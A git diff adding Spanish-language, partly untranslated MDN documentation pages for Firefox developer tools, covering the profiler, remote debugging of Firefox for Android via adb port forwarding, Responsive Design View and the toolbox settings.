+<p><img alt="" src="https://mdn.mozillademos.org/files/5981/Screen%20Shot%202013-08-26%20at%2011.07.18%20AM.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+<p>Este panel está dividido en dos partes:</p>
+<ul>
+ <li>El lado izquierdo muestra todos los perfiles que ha capturado y le permite cargar cada uno. Justo por encima de esto hay dos botones: el botón del cronómetro (<em>stopwatch</em>) le permite grabar un nuevo perfil, mientras que el botón Importar (<em>Import</em>) ... permite importar los datos guardados anteriormente. Cuando se selecciona el perfil, puede guardar sus datos como un archivo JSON haciendo clic en el botón Guardar (Save). </li>
+ <li>El lado derecho muestra el perfil actualmente cargado.</li>
+</ul>
+<h2 id="Analyzing_a_profile">Analyzing a profile</h2>
+<p>The profile is split into two parts:</p>
+<ul>
+ <li>the <a href="#profile-timeline" title="#profile-timeline">profile timeline</a></li>
+ <li>the <a href="#profile-details" title="#profile-details">profile details</a></li>
+</ul>
+<h3 id="Profile_timeline"><a name="profile-timeline">Profile timeline</a></h3>
+<p>The profile timeline occupies the top part of the profile display:</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/5987/timeline" style="display: block; margin-left: auto; margin-right: auto;">The horizontal axis is time, and the vertical axis is call stack size at that sample. Call stack represents the amount of active functions at the time when the sample was taken.</p>
+<p>Red samples along the chart indicate the browser was unresponsive during that time, and a user would notice pauses in animations and responsiveness. If a profile has red samples, consider breaking this code up into several events, and look into using <a href="/en-US/docs/Web/API/window.requestAnimationFrame" title="/en-US/docs/Web/API/window.requestAnimationFrame">requestAnimationFrame</a> and <a href="/en-US/docs/Web/Guide/Performance/Using_web_workers" title="/en-US/docs/Web/Guide/Performance/Using_web_workers">Workers</a>.</p>
+<p>You can examine a specific range within the profile by clicking and dragging inside the timeline:</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/5989/Screen%20Shot%202013-08-26%20at%2011.17.59%20AM.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+<p>A new button then appears above the timeline labeled "Sample Range [AAA, BBB]". Clicking that button zooms the profile, and the details view underneath it, to that timeslice:</p>
+<p><br>
+ <img alt="" src="https://mdn.mozillademos.org/files/5991/Screen%20Shot%202013-08-26%20at%2011.18.03%20AM.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+<h3 id="Profile_details"><a name="profile-details">Profile details</a></h3>
+<p>The profile details occupy the bottom part of the profile display:</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/5993/profiler-details-highligted.png" style="display: block; margin-left: auto; margin-right: auto;">When you first open a new sample, the sample pane contains a single row labeled "(total)", as in the screenshot above. If you click the arrow next to "(total)", you'll see a list of all the top-level functions which appear in a sample.</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/5995/Screen%20Shot%202013-08-26%20at%2011.22.10%20AM.png"></p>
+<p><strong>Running time</strong> shows the total number of samples in which this function appeared<a href="#footnote-1"><sup>1</sup></a>, followed by the percentage of all samples in the profile in which this function appeared. The first row above shows that there were 2021 samples in the entire profile, and the second row shows that 1914, or 94.7%, of them were inside the <code>detectImage()</code> function.</p>
+<p><strong>Self</strong> shows the number of samples in which the sample was taken while executing this function itself, and not a function it was calling. In the <a href="#profiling-example" title="#profiling-example">simple example</a> above, <code>doSomething()</code> would have a <strong>Running time</strong> of 3 (samples A, B, and C), but a <strong>Self</strong> value of 1 (sample A).</p>
+<p>The third column gives the name of the function along with the filename and line number (for local functions) or basename and domain name (for remote functions). Functions in gray are built-in browser functions: functions in black represent JavaScript loaded by the page. If you hover the mouse over a row you'll see an arrow to the right of the function's identifier: click the arrow and you'll be taken to the function source.</p>
+<h3 id="Expanding_the_call_tree">Expanding the call tree</h3>
+<p>In a given row, if there are any samples taken while we were in a function called by this function (that is, if <strong>Running Time</strong> is greater than <strong>Self</strong> for a given row) then an arrow appears to the left of the function's name, enabling you to expand the call tree.</p>
+<p>In the <a href="#profiling-example" title="#profiling-example">simple example</a> above, the fully-expanded call tree would look like this:</p>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td style="text-align: center;"><strong>Running Time</strong></td>
+   <td style="text-align: center;"><strong>Self</strong></td>
+   <td style="text-align: center;"> </td>
+  </tr>
+  <tr>
+   <td style="text-align: center;">3            100%</td>
+   <td style="text-align: center;">1</td>
+   <td style="text-align: center;">doSomething()</td>
+  </tr>
+  <tr>
+   <td style="text-align: center;">2              67%</td>
+   <td style="text-align: center;">2</td>
+   <td style="text-align: center;">logTheValue()</td>
+  </tr>
+ </tbody>
+</table>
+<p>To take a more realistic example: in the screenshot below, looking at the second row we can see that 1914 samples were taken inside the <code>detectImage()</code> function. But all of them were taken in functions called by <code>detectImage()</code> (the <strong>Self</strong> cell is zero). We can expand the call tree to find out which functions were actually running when most of the samples were taken:</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/5999/bla.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+<p>This tells us that 6 samples were taken when we were actually executing <code>detectAtScale(), </code>12 when we were executing <code>getRect()</code> and so on.</p>
+<h2 id="Footnotes">Footnotes</h2>
+<ol>
+ <li><a name="footnote-1">If the function is called multiple times from different sources, it will be represented multiple times in the Profiler output. So generic functions like <code>forEach</code> will appear multiple times in the call tree.</a></li>
+</ol>
+<p> </p>
diff --git a/files/es/tools/remote_debugging/debugging_over_a_network/index.html b/files/es/tools/remote_debugging/debugging_over_a_network/index.html
new file mode 100644
index 0000000000..3eae277997
--- /dev/null
+++ b/files/es/tools/remote_debugging/debugging_over_a_network/index.html
@@ -0,0 +1,10 @@
+---
+title: Debugging over a network
+slug: Tools/Remote_Debugging/Debugging_over_a_network
+translation_of: 'Tools/about:debugging#Connecting_over_the_Network'
+---
+<blockquote>
+<h3 id="draft">{{draft}}</h3>
+</blockquote>
+
+<p>Coming soon...</p>
diff --git a/files/es/tools/remote_debugging/firefox_para_android/index.html b/files/es/tools/remote_debugging/firefox_para_android/index.html
new file mode 100644
index 0000000000..497d026a34
--- /dev/null
+++ b/files/es/tools/remote_debugging/firefox_para_android/index.html
@@ -0,0 +1,132 @@
+---
+title: Depuración remota en Firefox para Android
+slug: Tools/Remote_Debugging/Firefox_para_Android
+translation_of: Tools/Remote_Debugging/Firefox_for_Android
+---
+<p>Esta guía explica como usar la <a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_usage_tips/Remote_debugging">depuración remota </a>para inspeccionar o depurar código funcionando en <a href="/en-US/docs/Mozilla/Firefox_for_Android">Firefox para Android </a>conectado por USB.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5833/remote-debugging-overview.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<p>Esta guía se divide en dos partes: la primera parte, "Requisitos previos" cubre la materia que solo hay que hacer una vez, mientras que la segunda parte, "Conectando", cubre la materia que hay que hacer cada vez que conectas el dispositivo. </p>
+
+<h2 id="Requisitos_previos">Requisitos previos</h2>
+
+<p>Primero, lo que necesitará:</p>
+
+<ul>
+ <li>un ordenador de sobremesa o un portátil con Firefox funcionando</li>
+ <li>un dispositivo Android con <a href="https://support.mozilla.org/en-US/kb/will-firefox-work-my-mobile-device" title="https://support.mozilla.org/en-US/kb/will-firefox-work-my-mobile-device">capacidad de arrancar Firefox para Android</a> con Firefox para Android funcionando en él</li>
+ <li>un cable USB que conecte ambos dispositivos</li>
+</ul>
+
+<h3 id="Configuración_ADB">Configuración ADB</h3>
+
+<p>A continuación, necesitarás que el ordenador de sobremesa y el dispositivo Android hablen entre si utilizando la herramienta de la línea de comandos del adb.</p>
+
+<h4 class="note" id="En_el_dispositivo_Android">En el dispositivo Android</h4>
+
+<ul>
+ <li><a href="http://developer.android.com/guide/developing/device.html#setting-up" title="http://developer.android.com/guide/developing/device.html#setting-up">Habilita la depuración USB (solo el paso 2 de este enlace)</a>.</li>
+ <li>Conecta el dispositivo con el ordenador mediante el cable USB.</li>
+</ul>
+
+<h4 class="note" id="En_el_ordenador_de_sobremesa">En el ordenador de sobremesa</h4>
+
+<ul>
+ <li>Instala la versión correcta del <a href="http://developer.android.com/sdk/index.html" title="http://developer.android.com/sdk/index.html">SDK de Android</a> para tu dispositivo.</li>
+ <li>Utilizando el SDK de Android, instala las <a href="http://developer.android.com/sdk/installing.html#components" title="http://developer.android.com/sdk/installing.html#components">herramientas de la plataforma Android</a>.</li>
+ <li>Las herramientas de la plataforma Android instalan adb en un subdirectorio llamado "platform-tools" dentro del directorio donde hayas instalado el Android SDK. Asegúrate que el directorio "platform-tools" aparece en la variable "path" de tu sistema operativo.</li>
+</ul>
+
+<p>Para comprobar que funciona, abre en tu ordenador de sobremesa la aplicación que te deja escribir comandos en línea del sistema operativo y teclea:</p>
+
+<pre>adb devices</pre>
+
+<p>Deberías ver una respuesta parecida a esta:</p>
+
+<pre>List of devices attached
+51800F220F01564 device
+</pre>
+
+<p>(La cadena de texto hexadecimal será diferente.)</p>
+
+<p>Si obtienes ésto, entonces <code>adb</code> ha encontrado tu dispositivo y has configurado correctamente el ADB.</p>
+
+<h3 id="Habilitar_la_depuración_remota">Habilitar la depuración remota</h3>
+
+<p>A continuación, tienes que activar la depuración remota en el ordenador de sobremesa y en el dispositivo Android.</p>
+
+<h4 id="Firefox_versión_24_y_anteriores_para_Android">Firefox versión 24 y anteriores para Android</h4>
+
+<p>Para habilitar la depuración remota en el dispositivo, tienes que ajustar la preferencia <code>devtools.debugger.remote-enabled</code> al valor <code>true</code>.</p>
+
+<p>Introduce la dirección <code>about:config</code> en Firefox para Android, escribe "devtools" dentro del cuadro de búsqueda y pulsa la tecla Search. Verás todas las preferencias de DevTools. Busca la preferencia <code>devtools.debugger.remote-enabled</code> preference, y pulsa "Toggle".</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5803/remote-debugger-about-config-toggle.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<h4 class="note" id="Firefox_versión_25_y_posteriores_para_Android">Firefox versión 25 y posteriores para Android</h4>
+
+<p>En Firefox v.25 y posteriores para Android, hay un elemento de menú para habilitar la depuración remota. Abre el menú, selecciona "Settings", luego "Developer tools" (en algunos dispositivos Android puede que necesites seleccionar "More" para ver la opción "Settings"). Marca la casilla "Remote debugging":</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5829/remote-debugging-device-enable.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<p>El navegador mostrará una notificación para recordarte que debes configurar el redireccionamiento de puertos, lo cuál haremos más adelante.</p>
+
+<h4 id="En_el_ordenador_de_sobremesa_2">En el ordenador de sobremesa</h4>
+
+<p>En el ordenador, la depuración remota se habilita  a través de un ajuste en la caja de herramientas. <a href="/en-US/docs/Tools_Toolbox" title="/en-US/docs/Tools_Toolbox">Abre la caja de herramientas</a>, haz clic en el botón "Settings"  de la <a href="/en-US/docs/Tools_Toolbox#Toolbar" title="/en-US/docs/Tools_Toolbox#Toolbar">barra de herramientas</a>, y marca "Enable remote debugging" en la pestaña de <a href="/en-US/docs/Tools_Toolbox#Settings" title="/en-US/docs/Tools_Toolbox#Settings">Settings</a>:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5827/remote-debugger-toolbox-settings.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<div class="Note">Si estás utilizando una versión de Firefox anterior a la 27, tendrás que reiniciar el navegador para que se aplique la nueva configuración.</div>
+
+<p>Verás una nueva opción en el menú "Web Developer" con la etiqueta  "Connect...":</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5811/remote-debugging-connect-menuitem.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<h2 id="Conectarse">Conectarse</h2>
+
+<p>Ahora puedes conectar la herramienta de depuración remota con el dispositivo. En primer lugar, conecta el dispositivo al ordenador con un cable USB, si no lo has hecho todavía.</p>
+
+<h4 class="note" id="En_el_ordenador_de_sobremesa_3">En el ordenador de sobremesa</h4>
+
+<p>Ve al símbolo del sistema y teclea:</p>
+
+<pre>adb forward tcp:6000 tcp:6000</pre>
+
+<p>(Si has cambiado el valor que el dispositivo Android usa para el puerto de depuración, deberás modificarlo a este valor.)</p>
+
+<p>Para Firefox OS, teclea:</p>
+
+<pre><code>adb forward tcp:6000 localfilesystem:/data/data/org.mozilla.firefox/firefox-debugger-socket</code></pre>
+
+<p>Tendrás que volver a ejecutar este comando cada vez que conectes físicamente el ordenador de sobremesa y el dispositivo con el cable USB.</p>
+
+<p>A continuación, ve al menú Web Developer del Firefox, y selecciona  "Connect...". Verás una página parecida a ésta:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5813/remote-debugging-desktop-connect.png" style="display: block; margin-left: auto; margin-right: auto;">Si no has cambiado los números de puerto, elige 6000 y pulsa el botón 'Connect'.</p>
+
+<h4 class="note" id="En_el_dispositivo_Android_2">En el dispositivo Android</h4>
+
+<div class="mttextarea" dir="ltr" id="TranslationOutput">
+<div><span>A </span><span id="Dst[0][0:3:2:13]">continuación</span><span> </span><span id="Dst[0][5:14:15:24]">verás</span><span> </span><span id="Dst[0][16:16:26:27]">un</span><span> cuadro de </span><span id="Dst[0][18:23:39:45]">diálogo</span><span> </span><span id="Dst[0][25:26:47:48]">en</span><span> </span><span id="Dst[0][28:30:50:51]">el</span><span> </span><span id="Dst[0][40:45:53:63]">dispositivo</span><span> </span><span id="Dst[0][32:38:65:71]">Android que pide </span><span>que </span><span> </span><span id="Dst[0][61:67:87:95]">confirmes</span><span> </span><span id="Dst[0][69:71:97:98]">la</span><span> </span><span id="Dst[0][73:82:100:107]">conexión</span>:</div>
+</div>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5815/remote-debugging-device-connect.png" style="display: block; margin-left: auto; margin-right: auto;">Haz click en "OK". El ordenador de sobremesa espera unos segundos para darte tiempo para que confirmes en el cuadro de diálogo: si se agota el tiempo de espera, solo tienes que volver a hacer click en "Connect" en el cuadro de diálogo del ordenador de sobremesa.</p>
+
+<h4 class="note" id="En_el_ordenador_de_sobremesa_4">En el ordenador de sobremesa</h4>
+
+<p>A continuación, el ordenador te muestra un cuadro de diálogo parecido a este:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5819/remote-debugging-desktop-select-target.png" style="display: block; margin-left: auto; margin-right: auto;">Te pregunta si quieres depurar el contenido de la web que se ejecuta en alguna pestaña del navegador, o depurar el código del propio navegador.</p>
+
+<ul>
+ <li>Verás una entrada por cada pestaña abierta debajo de "Available remote tabs",  y haciendo click sobre una conectarás la herramienta de depuración al contenido web de la pestaña. Si quieres depurar el contenido de tu web, elige la pestaña pertinente.</li>
+ <li>Verás una entrada debajo de "Available remote processes": este es el propio proceso del navegador. Elige esta opción si quieres depurar el código del navegador.</li>
+</ul>
+
+<p>Elegimos conectarnos al sitio web mozilla.org.  Se abrirá una ventana con la Caja de herramientas, vinculada a la pestaña del Firefox para Android que muestra el sito de mozilla.org:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5821/remote-debugging-console.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<p>La caja de herramientas y las herramientas que contiene, funcionan de la misma manera que lo hacen cuando están conectadas a un contenido local.<img alt="" src="https://mdn.mozillademos.org/files/5823/remote-debugging-debugger.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
diff --git a/files/es/tools/remote_debugging/index.html b/files/es/tools/remote_debugging/index.html
new file mode 100644
index 0000000000..4164a78241
--- /dev/null
+++ b/files/es/tools/remote_debugging/index.html
@@ -0,0 +1,147 @@
+---
+title: Depurado Remoto
+slug: Tools/Remote_Debugging
+translation_of: Tools/Remote_Debugging
+---
+<p>You can use the Firefox developer tools on your desktop to debug code running remotely: in a different process on the same device or on a completely different device. To do this you use Firefox to attach the <a href="/en-US/docs/Toolbox" title="/en-US/docs/Toolbox">Toolbox</a> to the remote process, and the Toolbox is then launched in its own window. At the moment the following tools support remote debugging:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Tools/Page_Inspector">Page Inspector</a> (new in Firefox 26)</li>
+ <li><a href="/en-US/docs/Tools/Debugger" title="/en-US/docs/Tools/Debugger">JavaScript Debugger</a></li>
+ <li><a href="/en-US/docs/Tools/Style_Editor" title="/en-US/docs/Tools/Style_Editor">Style Editor</a></li>
+ <li><a href="/en-US/docs/Tools/Web_Console" title="/en-US/docs/Tools/Web_Console">Web Console</a></li>
+ <li><a href="/en-US/docs/Tools/Profiler" title="/en-US/docs/Tools/Profiler">Profiler</a></li>
+ <li><a href="/en-US/docs/Tools/Network_Monitor" title="/en-US/docs/Tools/Network_Monitor">Network Monitor</a></li>
+</ul>
+
+<p>This guide explains how to get set up to debug code running in Firefox for Android over USB. The other main application for remote debugging is to debug code running in the Firefox OS Simulator, but that's covered separately, in the <a href="/en-US/docs/Tools/Firefox_OS_Simulator#Attaching_developer_tools" title="/en-US/docs/Tools/Firefox_OS_Simulator#Attaching_developer_tools">Firefox OS Simulator documentation</a>.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5833/remote-debugging-overview.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<p>This guide's split into two parts: the first part, "Prerequisites" covers stuff you only need to do once, while the second part, "Connecting", covers stuff you need to do each time you connect the device. </p>
+
+<h2 id="Prerequisites">Prerequisites</h2>
+
+<p>First, you'll need:</p>
+
+<ul>
+ <li>a desktop or laptop computer with Firefox running on it</li>
+ <li>an Android device <a href="https://support.mozilla.org/en-US/kb/will-firefox-work-my-mobile-device" title="https://support.mozilla.org/en-US/kb/will-firefox-work-my-mobile-device">capable of running Firefox for Android</a> with Firefox for Android running on it</li>
+ <li>a USB cable to connect the two devices</li>
+</ul>
+
+<h3 id="ADB_setup">ADB setup</h3>
+
+<p>Next, you'll need to get the desktop and the Android device talking to each other using the <a href="https://developer.android.com/tools/help/adb.html" title="https://developer.android.com/tools/help/adb.html">adb</a> command-line tool.</p>
+
+<h4 class="note" id="On_the_Android_device"><strong>On the Android device</strong></h4>
+
+<ul>
+ <li><a href="http://developer.android.com/guide/developing/device.html#setting-up" title="http://developer.android.com/guide/developing/device.html#setting-up">Enable USB debugging (step 2 of this link only)</a>.</li>
+ <li>Attach the device to the desktop via USB.</li>
+</ul>
+
+<h4 class="note" id="On_the_desktop"><strong>On the desktop</strong></h4>
+
+<ul>
+ <li>Install the correct version of the <a href="http://developer.android.com/sdk/index.html" title="http://developer.android.com/sdk/index.html">Android SDK</a> for your device.</li>
+ <li>Using the Android SDK, install the <a href="http://developer.android.com/sdk/installing.html#components" title="http://developer.android.com/sdk/installing.html#components">Android Platform Tools</a>.</li>
+ <li>Android Platform Tools installs adb in the "platform-tools" directory under the directory in which you installed the Android SDK. Make sure the "platform-tools" directory is in your path.</li>
+</ul>
+
+<p>To check it worked, open up a command shell on the desktop and type:</p>
+
+<pre>adb devices</pre>
+
+<p>You should see some output like:</p>
+
+<pre>List of devices attached
+51800F220F01564 device
+</pre>
+
+<p>(The long hex string will be different.)</p>
+
+<p>If you do, then <code>adb</code> has found your device and you've successfully set up ADB.</p>
+
+<h3 id="Enable_remote_debugging">Enable remote debugging</h3>
+
+<p>Next, you need to enable remote debugging on both the Android device and the desktop.</p>
+
+<h4 id="Firefox_for_Android_24_and_earlier">Firefox for Android 24 and earlier</h4>
+
+<p>To enable remote debugging on the device, you need to set the <code>devtools.debugger.remote-enabled</code> preference to <code>true</code>.</p>
+
+<p>Go to <code>about:config</code> in Firefox for Android, type "devtools" into the search box and press the Search key. You'll see all the devtools preferences. Find the <code>devtools.debugger.remote-enabled</code> preference, and press "Toggle".</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5803/remote-debugger-about-config-toggle.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<h4 class="note" id="Firefox_for_Android_25_and_later">Firefox for Android 25 and later</h4>
+
+<p>On Firefox for Android 25 and later, there's a menu item to enable remote debugging. Open the menu, select "Settings", then "Developer tools" (on some Android devices you may need to select "More" to see the "Settings" option). Check the "Remote debugging" box:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5829/remote-debugging-device-enable.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<p>The browser will display a notification reminding you to set up port forwarding, which we'll do later on.</p>
+
+<h4 id="On_the_desktop_2"><strong>On the desktop</strong></h4>
+
+<p>On the desktop, remote debugging is enabled by a setting in the Toolbox. <a href="/en-US/docs/Tools_Toolbox" title="/en-US/docs/Tools_Toolbox">Open the Toolbox</a>, click the "Settings" button in the <a href="/en-US/docs/Tools_Toolbox#Toolbar" title="/en-US/docs/Tools_Toolbox#Toolbar">toolbar</a>, and check "Enable remote debugging" in the <a href="/en-US/docs/Tools_Toolbox#Settings" title="/en-US/docs/Tools_Toolbox#Settings">Settings </a>tab:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5827/remote-debugger-toolbox-settings.png" style="display: block; margin-left: auto; margin-right: auto;">Restart the browser, and you'll see a new option in the Web Developer menu labeled "Connect...":</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5811/remote-debugging-connect-menuitem.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<h2 id="Connecting">Connecting</h2>
+
+<p>Now you can connect the remote debugging tools to the device. First, attach the device to the desktop with a USB cable, if you haven't already.</p>
+
+<div style="margin-left: 25%; padding: 1em; border: solid rgb(245, 242, 240) 3px; margin-bottom: 2em;">
+<div class="note"><strong>On the desktop</strong></div>
+
+<p>Go to a command prompt, and type:</p>
+
+<pre>adb forward tcp:6000 tcp:6000</pre>
+
+<p>(If you've changed the value the Android device uses for a debugging port, you'll need to adjust this accordingly.)</p>
+
+<p>For Firefox OS, type:</p>
+
+<pre>adb forward tcp:6000 localfilesystem:/data/local/debugger-socket</pre>
+
+<p>You'll need to reissue this command each time you physically attach desktop and device with the USB cable.</p>
+
+<p>Then go to the Web Developer menu on Firefox, and select "Connect...". You'll see a page that looks like this:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5813/remote-debugging-desktop-connect.png" style="display: block; margin-left: auto; margin-right: auto;">Unless you've changed the port numbers, choose 6000 and press the "Connect" button.</p>
+</div>
+
+<div style="margin-right: 25%; padding: 1em; border: solid rgb(245, 242, 240) 3px; margin-bottom: 2em;">
+<div class="note"><strong>On the Android device</strong></div>
+
+<p>Next you'll see a dialog on the Android device asking you to confirm the connection:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5815/remote-debugging-device-connect.png" style="display: block; margin-left: auto; margin-right: auto;">Press "OK". The desktop waits for a few seconds to give you time to acknowledge this dialog: if it times out, just press "Connect" in the desktop dialog again.</p>
+</div>
+
+<div style="margin-left: 25%; padding: 1em; border: solid rgb(245, 242, 240) 3px; margin-bottom: 2em;">
+<div class="note"><strong>On the desktop</strong></div>
+
+<p>Next, the desktop shows you a dialog that looks something like this:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5819/remote-debugging-desktop-select-target.png" style="display: block; margin-left: auto; margin-right: auto;">This is asking whether you want to debug web content running in a browser tab, or to debug the browser code itself.</p>
+
+<ul>
+ <li>You'll see one entry under "Available remote tabs" for each open tab, and clicking it will attach the debugging tools to the web content hosted by that tab. If you want to debug your web content, you'll choose the relevant content tab.</li>
+ <li>You'll see one entry under "Available remote processes": this is the browser process itself. You'll choose this option if you want to debug the browser's own code.</li>
+</ul>
+
+<p>Let's choose to attach to the mozilla.org website. The Toolbox will open in its own window, attached to the Firefox for Android tab that's currently hosting mozilla.org:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5821/remote-debugging-console.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<p>The Toolbox, and the tools it hosts, work in just the same way as they do when attached to local content.<img alt="" src="https://mdn.mozillademos.org/files/5823/remote-debugging-debugger.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+</div>
+
+<p> </p>
+
+<p> </p>
diff --git a/files/es/tools/responsive_design_view/index.html b/files/es/tools/responsive_design_view/index.html
new file mode 100644
index 0000000000..2571bc5aa4
--- /dev/null
+++ b/files/es/tools/responsive_design_view/index.html
@@ -0,0 +1,18 @@
+---
+title: Responsive Design View
+slug: Tools/Responsive_Design_View
+translation_of: Tools/Responsive_Design_Mode
+---
+<p>{{ fx_minversion_header("15.0") }}</p>
+
+<p>La vista de Diseño Adaptable hace que sea fácil ver cómo sus diseños se verán y funcionarán en diferentes tamaños de pantallas. <a href="/en-US/docs/Web_Development/Responsive_Web_design">Diseño Adaptable</a> se adapta a diferentes tamaños de pantalla para proporcionar una presentación adecuada para diferentes tipos de dispositivos, principalmente teléfonos móviles. La captura de pantalla siguiente es un ejemplo de la página web <a href="http://mozilla.org" title="/en-US/docs/Localizing_extension_metadata_on_addons.mozilla.org">mozilla.org</a> vista con un área de contenido 320 por 480.</p>
+
+<p><img alt="" src="/files/3877/Responsive%20Design%20View.png" style="float: left; height: 628px; padding-right: 2em; width: 372px;">La vista de Diseño Adaptable es conveniente porque se puede cambiar rápidamente el tamaño del área de contenido sin cambiar el tamaño de la ventana del navegador. Cambiar el tamaño de la ventana del navegador puede ser molesto porque todos los tamaños de tus pestañas cambian entonces y también hay menos espacio en la ventana de herramientas de desarrollo.</p>
+
+<p>Tu puedes encontrar la vista de Diseño Adaptable en el menú Desarrollador Web.</p>
+
+<p>Como alternativa, puede usar el atajo ctrl-shift-M en Windows o Linux y cmd-opt-M en Mac  para iniciar la vista de Diseño adaptable. Presionando la tecla &lt;esc&gt; se cerrará la vista. Mientras que estás en la vista de Diseñó Adaptable, puedes seguir con normalidad en el área de contenido reescalado.</p>
+
+<p>En la parte superior de la vista de Diseño Adaptable, hay un menú desplegable de tamaños preestablecidos que son convenientes para ver rápidamente su diseño en un número de tamaños de pantallas más comunes. También hay un botón de rotación para cambiar inmediatamente la anchura y altura (similar a la rotación de un teléfono móvil o tableta ).</p>
+
+<p><span id="result_box" lang="es"><span class="hps">Usted</span> <span class="hps">puede utilizar el</span> <span class="hps">controlador de tamaño</span> <span class="hps">en la</span> <span class="hps">parte inferior derecha del</span> <span class="hps">área de contenido</span> <span class="hps">para cambiar el</span> <span class="hps">tamaño del área de</span> <span class="hps">contenido</span></span>.</p>
diff --git a/files/es/tools/settings/index.html b/files/es/tools/settings/index.html
new file mode 100644
index 0000000000..e502957541
--- /dev/null
+++ b/files/es/tools/settings/index.html
@@ -0,0 +1,206 @@
+---
+title: Configuración
+slug: Tools/Settings
+translation_of: Tools/Settings
+---
+<h2 id="Configuraciones"><a name="Settings">Configuraciones</a></h2>
+
+<p>Al hacer clic en el botón "Configuraciones" le permite acceder a la configuración de la propia caja de herramientas y de las herramientas que alberga:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/6353/toolbox-settings.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<h3 id="Por_defecto_Firefox_Herramientas_de_Desarrollo">Por defecto Firefox Herramientas de Desarrollo</h3>
+
+<p>Este grupo de casillas de verificación determina qué herramientas están habilitadas en la caja de herramientas. Las nuevas herramientas se incluyen con frecuencia en Firefox, pero no está activado de forma predeterminada.</p>
+
+<h3 id="Elija_DevTools_tema"><span class="short_text" id="result_box" lang="es">Elija DevTools tema</span></h3>
+
+<p>Esto le permite cambiar entre tema claro u oscuro:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/6355/inspector-light-theme.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<h3 id="sect1"><img alt="" src="https://mdn.mozillademos.org/files/6357/inspector-dark-theme.png" style="display: block; margin-left: auto; margin-right: auto;"></h3>
+
+<h3 id="Inspector">Inspector</h3>
+
+<div class="geckoVersionNote">
+<p>Este ajuste está disponible en Firefox 27 en adelante</p>
+</div>
+
+<p><em>Unidad de color por defecto</em>: un valor para controlar cómo se representan los colores de la inspección: Hex, HSL(A), RGB(A), <span class="short_text" id="result_box" lang="es">y por su nombre.</span></p>
+
+<h3 id="Consola_Web">Consola Web</h3>
+
+<p><em>Habilitar registros persistentes</em>: una configuración para controlar si la consola borra la salida cuando se navega a una página nueva..</p>
+
+<h3 id="Analizador_JavaScript">Analizador JavaScript</h3>
+
+<p><em>Mostrar datos de la plataforma Gecko:</em> una opción para controlar si los perfiles deben incluir Gecko símbolos de plataforma.</p>
+
+<h3 id="Configuraciones_avanzadas">Configuraciones avanzadas</h3>
+
+<ul>
+ <li><em>Desactivar JavaScript</em>: recargar la pestaña actual con JavaScript desactivado</li>
+ <li><em>Activar depurador chrome:</em> le permiten utilizar herramientas de desarrollo en el contexto del navegador en sí, y no sólo el contenido web</li>
+ <li><em>Activar depuración remota</em>: permitir a las herramientas de desarrollo <a href="/en-US/docs/Tools/Remote_Debugging">depurar instancias de Firefox remotas</a></li>
+</ul>
+
+
+
+
+<h2 id="Opening_Settings">Opening Settings</h2>
+
+<p>To see the Developer Tools Settings pane, open any of the Developer Tools, and then:</p>
+
+<ul>
+ <li>either click the "Settings" button (<img alt="" src="https://mdn.mozillademos.org/files/13158/settings-icon.png" style="display: inline-block; height: 25px; margin-bottom: -7px; width: 24px;">) in the Toolbox toolbar:<img alt="" src="https://mdn.mozillademos.org/files/13176/settings-show-icon.png" style="display: block; height: 632px; margin-left: auto; margin-right: auto; width: 890px;"></li>
+ <li>or press <kbd>F1</kbd> to toggle between the active tool and the Settings pane</li>
+ <li>or press <kbd>Ctrl/Cmd</kbd>+<kbd>Shift</kbd>+<kbd>O</kbd> to toggle between the active tool and the Settings pane</li>
+</ul>
+
+<p>The Settings pane looks something like this:</p>
+
+<p><img alt="Depicts the Toolbox options" src="https://mdn.mozillademos.org/files/14703/devtool-settings-squashed.png" style=""></p>
+
+<h2 id="Categories">Categories</h2>
+
+<h3 id="Default_Firefox_Developer_Tools">Default Firefox Developer Tools</h3>
+
